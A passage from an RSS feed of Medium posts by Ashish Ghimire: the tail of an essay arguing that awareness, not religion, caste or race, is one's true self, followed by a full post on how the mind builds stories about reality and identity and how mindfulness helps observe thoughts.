tells about you.</em></blockquote><h3>Where Spirituality Meets Psychology</h3><p>Here is where ancient wisdom and modern psychology begin to agree, coming from opposite directions. Western psychology, through its most evolved traditions — humanistic psychology, transpersonal psychology, mindfulness-based therapies — arrives at a stunning insight: <em>there is a witness behind the thoughts.</em></p><p>You can observe your thoughts. Which means you cannot be your thoughts because the observer and the observed cannot be the same thing. You can notice anger arising. Which means you are not the anger. You can watch the fear come and go. Which means the fear is a visitor, not the host.</p><p>The Vedantic tradition of India called this the <em>Atman, </em>the pure self beneath all conditioning. Buddhism pointed to something similar: not a fixed self, but a field of clear knowing that is always present. Sufism spoke of the ruh, the spirit that precedes all names and forms. Christian mysticism, in its contemplative depths, spoke of the “ground of the soul” where God and the soul are one — before identity, before creed.</p><h3>The Witness That Never Changes</h3><p>Think about this: you were five years old once. Your beliefs, your body, your name’s meaning to you all of it was different. Yet something remained constant. Something that was there at five is still here now, reading these words. That something did not age. It did not change religions. It did not absorb your caste. It watched all of it happen.</p><p>That is awareness. The field in which all experience arises and dissolves. Your religion appeared in it. Your race appeared in it. Your personality appeared in it. But awareness itself — pure, simple, undivided knowing — appeared nowhere. It simply is.</p><blockquote><em>“You are not a Hindu who sometimes feels peace. You are peace itself, temporarily wearing a Hindu costume.</em></blockquote><h3>The Violence of False Identity</h3><p>This is not merely philosophy. It has devastated consequences when ignored.</p><p>When a person believes — truly, bone-deep believes — that they <em>are</em> their religion, then an insult to that religion is an insult to their very existence. The threat feels existential. And existential threats produce existential responses: riots, pogroms, genocide. The history of human atrocity is the history of mistaken identity.</p><p>Caste violence in South Asia, racial violence in America, sectarian violence in the Middle East — look closely and you will find the same psychological error underneath each: <em>I am my label, and you threaten my label, therefore you threaten me.</em> It is not evil. It is confusion. Tragic, devastating, inexcusable confusion — but confusion nonetheless.</p><p>Psychologists have documented how strongly people protect their in-group identity, how quickly they dehumanize the out-group, how the same person who weeps at a puppy’s suffering can participate in violence against a human wearing the wrong religious or ethnic label. This is what false identity does. It narrows the field of who counts as “real.”</p><h3>What Happens When You Look Beneath</h3><p>The spiritual invitation — and increasingly the psychological one — is to look beneath the labels. Not to destroy them, not to pretend they don’t carry real-world consequences (they do, enormously), but to ask: <em>who is aware of all this?</em></p><p>When you sit quietly, when the noise of identity quiets for just a moment — in meditation, in deep grief, in moments of overwhelming beauty, in the stillness before sleep — what remains? Not Hindu, not Muslim. Not upper caste, not lower. Not your name. Not your history. Just… presence. Just knowing. Just being.</p><p>That is you. That is who you were before the world got to you. That is who you will be when everything falls away.</p><p>And here is the thing about that awareness: <em>it is the same in everyone.</em> The Muslim in Baghdad and the Hindu in Varanasi beneath their costumes, they are the same aware presence looking out through different windows. The Black child in Mississippi and the white child in Minnesota beneath their assigned identities, the same field of consciousness, looking, feeling, knowing.</p><blockquote><em>“If you truly knew who you were, you could not hate anyone. Because you would find yourself there too.</em></blockquote><h3>The Practice: Sitting With the Question</h3><p>This is not a belief to adopt. It is not a new religion to join. It is an inquiry perhaps the most profound inquiry a human being can undertake.</p><p>Close your eyes. Ask: <em>Who is aware right now?</em> Don’t answer too quickly. Don’t say “I am” and stop there. Ask: who is that “I”? Go deeper. Every thought you observe you are not that thought. Every emotion you notice you are not that emotion. Every identity label that arises you are not that label. What is left?</p><p>What is left cannot be named. That is how you know you are getting close.</p><p>The Zen masters called it your “original face” the face you had before your parents were born. Ramana Maharshi made it even simpler. He said: just keep asking “Who am I?” with sincerity, and the question will eat itself, and what remains will be the answer.</p><h3>Living As Awareness</h3><p>This does not mean abandoning the world. It means moving through it differently. You can still be culturally Hindu or Muslim, still carry your family’s heritage with love, still fight for the rights of communities that face discrimination — but you do it from a different ground. Not the ground of fear and tribal ego, but the ground of something that knows itself as whole.</p><p>The Dalai Lama walks as a Tibetan Buddhist. He carries the costume with dignity. But you can see in him someone who is not imprisoned by it. He can laugh with a physicist, pray with a Christian, joke with a schoolchild, and remain underneath all of itsimply, steadily, warmly <em>himself</em>. That self is not the Dalai Lama. That self is awareness, dressed beautifully in robes.</p><p>That is the invitation extended to every human being. Not to become enlightened in some special way. Just to notice even for a moment that you are the sky, not the clouds. The screen, not the film. The ocean, not the wave.</p><blockquote>So, Who Are You?</blockquote><blockquote><em>You are not your religion. Not your caste. Not your race. Not your name. Not your thoughts, your traumas, your achievements, your failures. You are the awareness in which all of it appears vast, quiet, unchanged by any of it.</em></blockquote><blockquote><em>You always have been. You just forgot, because the world was very loud about the costume.</em></blockquote><blockquote><em>You are that which is aware!</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bda79273ab26" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Human Psychology: The Stories Your Mind Tells You]]></title>
            <link>https://medium.com/@pingacis/human-psychology-the-stories-your-mind-tells-you-23561947ff65?source=rss-8ff969aec76e------2</link>
            <guid isPermaLink="false">https://medium.com/p/23561947ff65</guid>
            <category><![CDATA[psychology]]></category>
            <category><![CDATA[human-behavior-psychology]]></category>
            <category><![CDATA[mindfulness]]></category>
            <category><![CDATA[personal-development]]></category>
            <dc:creator><![CDATA[Ashish Ghimire]]></dc:creator>
            <pubDate>Sat, 06 Jun 2026 07:57:34 GMT</pubDate>
            <atom:updated>2026-06-06T07:57:34.224Z</atom:updated>
            <content:encoded><![CDATA[<p>Most people believe they see reality as it truly is.</p><p>But what if much of what we experience is not reality itself, but a story our brain creates about reality?</p><p>Modern psychology and neuroscience suggest that the human mind is constantly interpreting, predicting, and constructing meaning from the world around us. In many ways, we are all living inside narratives created by our own minds.</p><h3>The Brain: Nature’s Storytelling Machine</h3><p>Your brain is not a camera that records reality exactly as it is.</p><p>Instead, it functions more like a prediction engine. Every second, it takes incomplete information from your senses, fills in the gaps, makes assumptions, and creates a coherent story about what is happening.</p><p>Psychologists often refer to this tendency as narrative bias — the brain’s natural drive to organize experiences into meaningful stories.</p><p>This ability is incredibly useful. It helps us learn from the past, plan for the future, and navigate complex social environments.</p><p>The problem arises when we forget that these stories are interpretations rather than objective facts.</p><p>A thought such as:</p><p><em>“Nobody likes me.”</em></p><p>may feel absolutely true in the moment, even though it is often nothing more than the brain constructing a narrative from limited information.</p><h3>Not Everyone Thinks the Same Way</h3><p>Many people assume everyone experiences an ongoing internal voice narrating their life.</p><p>Surprisingly, research suggests this isn’t always the case.</p><p>Some individuals experience a constant inner monologue, while others think primarily through images, emotions, sensations, or abstract concepts. Human thought is far more diverse than most people realize.</p><p>For those with a strong internal narrative, the mind can sometimes become an endless commentator — explaining, judging, predicting, worrying, and replaying events.</p><p>Over time, it becomes easy to mistake that voice for reality itself.</p><h3>The Self-Awareness Gap</h3><p>One of the most fascinating discoveries in psychology is the difference between believing you are self-aware and actually being self-aware.</p><p>Research suggests that while most people consider themselves highly self-aware, only a small percentage consistently recognize their thoughts, emotions, biases, and behavioral patterns with accuracy.</p><p>This creates what psychologists call a metacognitive gap — the gap between what we think we know about ourselves and what is actually happening within our minds.</p><p>As a result, many people spend much of their lives operating on mental autopilot.</p><p>They react rather than reflect.</p><p>They defend beliefs without questioning them.</p><p>They assume thoughts are facts.</p><p>They confuse emotions with reality.</p><h3>When Stories Become Identity</h3><p>The mind doesn’t simply generate stories about events.</p><p>It creates stories about who we are.</p><p>“I’m not good enough.”</p><p>“I’m a failure.”</p><p>“People are judging me.”</p><p>“I’ll never succeed.”</p><p>When repeated often enough, these narratives become part of our identity.</p><p>The ego begins protecting these beliefs, even when they cause suffering.</p><p>Ironically, people often defend limiting beliefs because those beliefs feel familiar. The mind prefers certainty — even painful certainty — over uncertainty.</p><h3>Stepping Outside the Story</h3><p>One of the most powerful psychological skills a person can develop is the ability to observe thoughts without immediately believing them.</p><p>This is where practices such as mindfulness, meditation, and narrative therapy become valuable.</p><p>These approaches teach a simple but profound lesson:</p><p>You are not your thoughts.</p><p>You are the observer of your thoughts.</p><p>When anxiety appears, you can recognize it as a mental event rather than a prediction of the future.</p><p>When self-doubt arises, you can see it as a story rather than a fact.</p><p>When criticism appears in your inner dialogue, you can acknowledge it without allowing it to define your identity.</p><h3>Final Thoughts</h3><p>The human mind is one of the most extraordinary storytelling systems ever created.</p><p>It constantly interprets the world, predicts outcomes, and creates narratives that help us survive and make sense of life.</p><p>But the stories our minds tell are not always true.</p><p>The moment we realize that thoughts are simply thoughts — not objective reality — we gain a level of freedom that many people never experience.</p><p>Perhaps true self-awareness begins with a simple question:</p><p><strong>“Is this reality, or is this just a story my mind is telling me?”</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=23561947ff65" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>